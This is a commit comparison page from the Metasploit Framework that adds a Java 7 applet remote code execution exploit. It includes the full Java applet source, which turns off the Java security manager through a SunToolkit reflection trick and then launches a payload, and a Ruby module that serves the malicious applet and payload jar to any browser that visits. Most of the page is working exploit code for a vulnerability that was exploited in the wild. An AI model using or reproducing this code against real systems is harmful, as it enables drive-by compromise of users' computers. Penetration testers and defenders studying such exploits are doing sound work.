Compare commits

...

15 Commits

Author SHA1 Message Date
jvazquez-r7 78641d6afb Added java_jre17_exec 2012-08-27 09:51:55 -05:00
Tod Beardsley f38b0aeb5c Merge branch 'master' into release 2012-08-23 12:18:35 -05:00
Tod Beardsley b78468bb18 Merge branch 'master' into release 2012-08-22 16:22:27 -05:00
Tod Beardsley 7fa46809b6 Merge branch 'master' into release 2012-08-22 10:50:50 -05:00
Tod Beardsley b32fe957c3 Merge branch 'master' into release 2012-08-22 10:04:05 -05:00
Tod Beardsley 2abd79b312 Updating trusted_service_path from master
Now with more references.
2012-08-15 14:52:12 -05:00
Tod Beardsley 4ac6861bb4 Apostrophe 2012-08-15 14:19:41 -05:00
Tod Beardsley 582f98f90d Fix up description a little 2012-08-15 13:57:14 -05:00
Tod Beardsley 3d8712e3c1 Picking up sinn3r's fix for trusted_service_path 2012-08-15 13:51:01 -05:00
Tod Beardsley 118a9b1e0f Msftidy fix and adding OSVDB 2012-08-15 13:49:22 -05:00
Tod Beardsley c00200eb73 Recapitalizing GlobalSCAPE
According to

http://kb.globalscape.com/Search.aspx?Keywords=globalscape

this seems to be the preferred capitalization.
2012-08-15 13:24:44 -05:00
Tod Beardsley 4571e5aad1 Merge branch 'master' into release 2012-08-14 12:27:48 -05:00
Tod Beardsley 589fb3a942 Merge branch 'master' into release
Conflicts:
	modules/exploits/windows/local/current_user_psexec.rb

Resolved conflict by including Post::Common in psexec module.
2012-08-14 12:09:07 -05:00
Tod Beardsley 2596d543a1 Out of 4.4.0, and into 4.5.0-dev 2012-08-07 09:53:19 -05:00
Tod Beardsley 26ce017980 Msftidy.rb cleanup on recent modules.
Notably, DisclosureDate is required for other module parsers, so let's
not ignore those, even if you have to guess at the disclosure or call
the module's publish date the disclosure date.
2012-08-04 12:19:38 -05:00
3 changed files with 193 additions and 0 deletions
Binary file not shown.
+75
View File
@@ -0,0 +1,75 @@
//
// CVE-2012-XXXX Java 0day
//
// reported here: http://blog.fireeye.com/research/2012/08/zero-day-season-is-not-over-yet.html
import java.applet.Applet;
import java.awt.Graphics;
import java.beans.Expression;
import java.beans.Statement;
import java.lang.reflect.Field;
import java.net.URL;
import java.security.*;
import java.security.cert.Certificate;
import metasploit.Payload;
public class Exploit extends Applet
{
public Exploit()
{
}
public void disableSecurity()
throws Throwable
{
Statement localStatement = new Statement(System.class, "setSecurityManager", new Object[1]);
Permissions localPermissions = new Permissions();
localPermissions.add(new AllPermission());
ProtectionDomain localProtectionDomain = new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificate[0]), localPermissions);
AccessControlContext localAccessControlContext = new AccessControlContext(new ProtectionDomain[] {
localProtectionDomain
});
SetField(Statement.class, "acc", localStatement, localAccessControlContext);
localStatement.execute();
}
private Class GetClass(String paramString)
throws Throwable
{
Object arrayOfObject[] = new Object[1];
arrayOfObject[0] = paramString;
Expression localExpression = new Expression(Class.class, "forName", arrayOfObject);
localExpression.execute();
return (Class)localExpression.getValue();
}
private void SetField(Class paramClass, String paramString, Object paramObject1, Object paramObject2)
throws Throwable
{
Object arrayOfObject[] = new Object[2];
arrayOfObject[0] = paramClass;
arrayOfObject[1] = paramString;
Expression localExpression = new Expression(GetClass("sun.awt.SunToolkit"), "getField", arrayOfObject);
localExpression.execute();
((Field)localExpression.getValue()).set(paramObject1, paramObject2);
}
public void init()
{
try
{
disableSecurity();
Payload.main(null);
}
catch(Throwable localThrowable)
{
localThrowable.printStackTrace();
}
}
public void paint(Graphics paramGraphics)
{
paramGraphics.drawString("Loading", 50, 25);
}
}
@@ -0,0 +1,118 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({ :javascript => false })
def initialize( info = {} )
super( update_info( info,
'Name' => 'Java 7 Applet Remote Code Execution',
'Description' => %q{
This module exploits a vulnerability in Java 7, which allows an attacker to run arbitrary
Java code outside the sandbox. This flaw is also being exploited in the wild, and there is
no patch from Oracle at this point. The exploit has been tested to work against: IE, Chrome
and Firefox across different platforms.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # Vulnerability Discovery
'jduck', # metasploit module
'sinn3r', # metasploit module
'juan vazquez', # metasploit module
],
'References' =>
[
#[ 'CVE', '' ],
#[ 'OSVDB', '' ],
[ 'URL', 'http://blog.fireeye.com/research/2012/08/zero-day-season-is-not-over-yet.html' ],
[ 'URL', 'http://www.deependresearch.org/2012/08/java-7-0-day-vulnerability-information.html' ]
],
'Platform' => [ 'java', 'win', 'linux' ],
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
'Targets' =>
[
[ 'Generic (Java Payload)',
{
'Arch' => ARCH_JAVA,
}
],
[ 'Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
}
],
[ 'Linux x86',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Aug 26 2012'
))
end
def on_request_uri( cli, request )
if not request.uri.match(/\.jar$/i)
if not request.uri.match(/\/$/)
send_redirect(cli, get_resource() + '/', '')
return
end
print_status("#{self.name} handling request")
send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )
return
end
paths = [
[ "Exploit.class" ]
]
p = regenerate_payload(cli)
jar = p.encoded_jar
paths.each do |path|
1.upto(path.length - 1) do |idx|
full = path[0,idx].join("/") + "/"
if !(jar.entries.map{|e|e.name}.include?(full))
jar.add_file(full, '')
end
end
fd = File.open(File.join( Msf::Config.install_root, "data", "exploits", "CVE-2012-XXXX", path ), "rb")
data = fd.read(fd.stat.size)
jar.add_file(path.join("/"), data)
fd.close
end
print_status("Sending Applet.jar")
send_response( cli, jar.pack, { 'Content-Type' => "application/octet-stream" } )
handler( cli )
end
def generate_html
html = "<html><head></head>"
html += "<body>"
html += "<applet archive=\"Exploit.jar\" code=\"Exploit.class\" width=\"1\" height=\"1\">"
html += "</applet></body></html>"
return html
end
end